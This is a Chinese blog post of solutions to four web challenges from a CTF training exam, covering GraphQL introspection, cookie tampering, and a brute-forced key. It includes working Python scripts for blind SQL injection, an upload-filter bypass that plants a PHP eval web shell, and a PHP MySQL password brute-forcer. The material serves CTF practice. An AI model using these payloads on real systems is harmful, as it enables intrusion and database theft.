美文网首页ctf随笔-生活工作点滴
CTF暑期集训-第一阶段考核赛WEB题解

CTF暑期集训-第一阶段考核赛WEB题解

作者: 蓝小俊 | 来源:发表于2019-07-10 23:14 被阅读95次

    EASY-WEB

    题目描述

    图片.png

    解题过程

    1. 右键源代码发现提示
    图片.png
    1. GET请求带上参数source,得到如下:
    图片.png
    1. POST传值name参数结果提示如下
    图片.png
    1. 根据提示抓包在cookie中修改user=admin重新发包
    图片.png
    在响应头得到提示,经过base64解密得到:ok ,do you know zhenxiaoyu.she is so cute,so let see zhen_xiao_yu_cute.php,根据提示访问zhen_xiao_yu_cute.php,结果如下: 图片.png
    1. 审阅代码,发现需要将页面session会话中的zhenxiaoyukey完整拼接出来然后发送到zhen_xiao_yu_give_you_flag.php,通过脚本实现
    2. 得到一半flag和提示访问xiaojun.php,界面如下

    根据题目提示进行传值后爆破,得到另一半flag,拼接flag得到完整flag

    import requests
    url = 'http://47.97.187.132:10001/'
    session = requests.session()
    def step_one():
        # zhen_xiao_yu_cute.php
        key = ''
        while 1:
            back = session.get(url + 'zhen_xiao_yu_cute.php').text
            if back[-1]=='>':
                break
            key +=back[-1]
    
        print("[+] key is " + key)
        print("[+] send it to zhen_xiao_yu_give_you_flag.php")
    
        back = session.get(url + 'zhen_xiao_yu_give_you_flag.php?key='+key,data= {'key':key})
        flag_start = back.text.find("flag")
        flag_over = back.text.find("<!-- xiao yu say:")
        flag_one = back.text[flag_start:flag_over]
        print("[+] I GET FLAG ONE is %s" % flag_one)
        return flag_one
    def getxiaojunflag():
        startword = session.get(url + "xiaojun.php").text
        startword = startword[startword.find('upload')+9:startword.find('upload')+12]
        try :
            session.get(url+"xiaojun.php?try",timeout=1)
        except:
            pass
        # print(startword)
        for i in range(1000):
            filename = "/upload/" + startword + str(i).zfill(3) + '.txt'
            # print(filename)
            back = session.get(url + filename)
            if back.status_code ==200:
                print(back.text)
                break
    step_one()
    getxiaojunflag()
    

    GraphQL-WEB

    题目描述

    题目截图

    考点

    GraphQL安全机制

    解题步骤

    1. 打开题目发现只有一个输入框,且会将信息回传回来。
    1. 先查看源代码
      可以发现信息格式为: /graphql?query={Gugugu(gugugu:"'+askinfo+'")}

    3.发现api名字是graphql 那么先搜索一下关键词

    GraphQL安全指北

    发现graphql 存在内省自检机制,可以直接获取后端定义的所有接口信息 可以通过__schema查询所有可用对象:

    {
        __schema {
            types {
                name
            }
        }
    }
    RETURN: 
    {"data":{"__schema":{"types":[{"name":"Query"},{"name":"String"},{"name":"Int"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"Boolean"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
    
    图片.png

    http://127.0.0.1:8000/graphql?query={__schema{types{name}}}

    通过__type查询指定对象的所有字段:

    {
      __type(name:"Query"){
        fields {
          description
          name
          type {
            name
            kind
                ofType {
                  name
                  kind
                  description
                }
          }
        }
        }
    }
    RETURN 
    {"data":{"__type":{"fields":[{"description":null,"name":"foo","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":null,"name":"hello_CTFER","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"GO ON // you should send key to see flag \u300ckey-type\uff1aNo\\d\\d\\d \u300d ","name":"config","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"\u4eba\u7c7b\u7684\u672c\u8d28\u662f\u4ec0\u4e48\uff1f","name":"Gugugu","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"calculate a + b then return the result.","name":"add","type":{"name":"Int","kind":"SCALAR","ofType":null}}]}}}
    
    图片.png 图片.png

    http://127.0.0.1:8000/graphql?query={%20__type(name:%22Query%22){%20fields%20{%20description%20name%20type%20{%20name%20kind%20ofType%20{%20name%20kind%20description%20}%20}%20}%20}%20}

    1. 由上可知:发送一个config(key : No + 三个数字) 直接爆破即可
      http://127.0.0.1:8000/graphql?query={config(key:"No996")}

    脚本如下:

    #coding=utf-8
    import requests
    url = 'http://xx:xx'
    for i in range(1000):
      payload = '{config(key:"NO' +str(i).zfill(3) +'")}'   //zfill方法用零垫串来填充左边宽度
      back = requests.get(url +'/graphql?query='+payload ).text
      if 'flag' in back:
        print(back)
        exit()
      
    #`http://127.0.0.1:8000/graphql?query={config(key:"No996")}`
    

    简单的上传

    1. 打开页面是文件上传,查看源代码发现存在前端js过滤,直接用插件绕过或者直接在bp中修改。
    1. 尝试php2, php3, php4, php5, phps, pht, phtm, phtml,这里可以尝试使用脚本进行fuzz
    1. 发现phps、pht没被过滤,成功上传并给出了文件位置,访问发现pht被解析,phps无法解析,所以菜刀或者中国蚁剑连接上传的pht文件
    1. 发现存在hint.txt文件,提示flag在数据库
    1. 数据库用户名为root,密码为6位数字,本地php爆破,根据回显判断密码是否正确。接着连接数据库进行查询,然后输出在页面上
    图片.png
    1. 访问页面查看flag
    #coding=utf-8
    
    import requests
    
    a='1.pht'
    # files = {'fupload': ('1.pht', open('1.pht', 'rb'), 'image/gif', {'Expires': '0'})}
    files = {'fupload': ('1.pht', b'<?php @eval($_POST[1]);?>', 'image/gif', {'Expires': '0'})}
    files = {'fupload': ('1.pht', b'''<?php
        ini_set("display_errors", "On");
        error_reporting(E_ALL);
        ini_set("display_errors", "On");  
        error_reporting(0);
    
        for($i=92873;$i<1000000;$i++){
            $b = ($i);
            if(strlen($b)==1){
                $t = "00000".$b;
            }else if(strlen($b)==2){
                $t = "0000".$b;
            }else if(strlen($b)==3){
                $t = "000".$b;
            }else if(strlen($b)==4){
                $t = "00".$b;
            }else if(strlen($b)==5){
                $t = "0".$b;
            }else{
                $t = $b;
            }
            $pass = $t;
            $con = mysqli_connect("localhost","root",$pass);
            if (!$con){
                continue;
            }else{
                echo $pass."connect ok!";
                $sql = "SELECT * from FLAG.flag";
    $result = mysqli_query($con,$sql);
    
    while($row = mysqli_fetch_array($result)){
        var_dump($row);
        echo '<hr>';
    }
    
    mysqli_close($db);
                
                break;
            }
        }
    
    ?>''', 'image/gif', {'Expires': '0'})}
    
    back = requests.post('http://127.0.0.1:5002/index.php',files=files,data={'submit':'upload!'})
    
    print(back.text)
    

    easy-sql

    • 考点:sql盲注
    • 脚本如下
    #! /usr/bin/env python
    # -*- coding: utf-8 -*-
    import sys
    reload(sys)
    sys.setdefaultencoding('utf-8')
    import requests
    
    def length(url,findstr):
        num = 1
        while True:
            str_num = '%d' % num
            payload = "admin' and (select length(database()) = " + str_num + ")#"
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                return str_num
            else:
                num = num + 1
    
    def getdata(url,findstr):
        database = ""
        for i in range(1, 7):
            for j in range(22, 123):
                payload = "admin' and ascii(mid(database(),%s,1))=%s#" % (str(i), str(j))
                data = {'user': payload}
                response = requests.post(url, data=data)
                if findstr in response.content.decode('UTF-8'):
                    database = database + chr(j)
                    break
                else:
                    j = j + 1
        return  database
    
    def gettable(url,findstr):
        tablename = ""
        for i in range(1, 10):
            for j in range(22, 123):
                payload = "admin' and ascii(mid((select group_concat(TABLE_NAME) from information_schema.tables where table_schema=DATABASE()),%s,1))=%s#" % (str(i), str(j))
                data = {'user': payload}
                response = requests.post(url, data=data)
                if findstr in response.content.decode('UTF-8'):
                    tablename = tablename + chr(j)
                    break
                else:
                    j = j + 1
        return  tablename
    
    
    def getcolumnname(url,findstr):
        columnname = ""
        for i in range(1, 10):
            for j in range(22, 123):
                payload = "admin' and ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='f1ag'),%s,1))=%s#" % (str(i), str(j))
                data = {'user': payload}
                response = requests.post(url, data=data)
                if findstr in response.content.decode('UTF-8'):
                    columnname = columnname + chr(j)
                    break
                else:
                    j = j + 1
        return  columnname
    
    
    def getflag(url,findstr):
        flag = ""
        for i in range(1, 32):
            for j in range(22, 128):
                payload = "admin' and ascii(mid((select fl4g from f1ag),%s,1))=%s#" % (str(i), str(j))
                data = {'user': payload}
                response = requests.post(url, data=data)
                if findstr in response.content.decode('UTF-8'):
                    flag = flag + chr(j)
                    break
                else:
                    j = j + 1
        return  flag
    url = "http://47.97.187.132:10004/index.php"
    findstr = "登录成功"
    
    # print length(url,findstr)
    #6
    # print getdata(url,findstr)
    #dbuser
    # print gettable(url,findstr)
    # print getcolumnname(url,findstr)
    print getflag(url,findstr)
    #flag{lekaihua_is_panghuhuh}
    

    相关文章

      网友评论

        本文标题:CTF暑期集训-第一阶段考核赛WEB题解

        本文链接:https://www.haomeiwen.com/subject/lirkkctx.html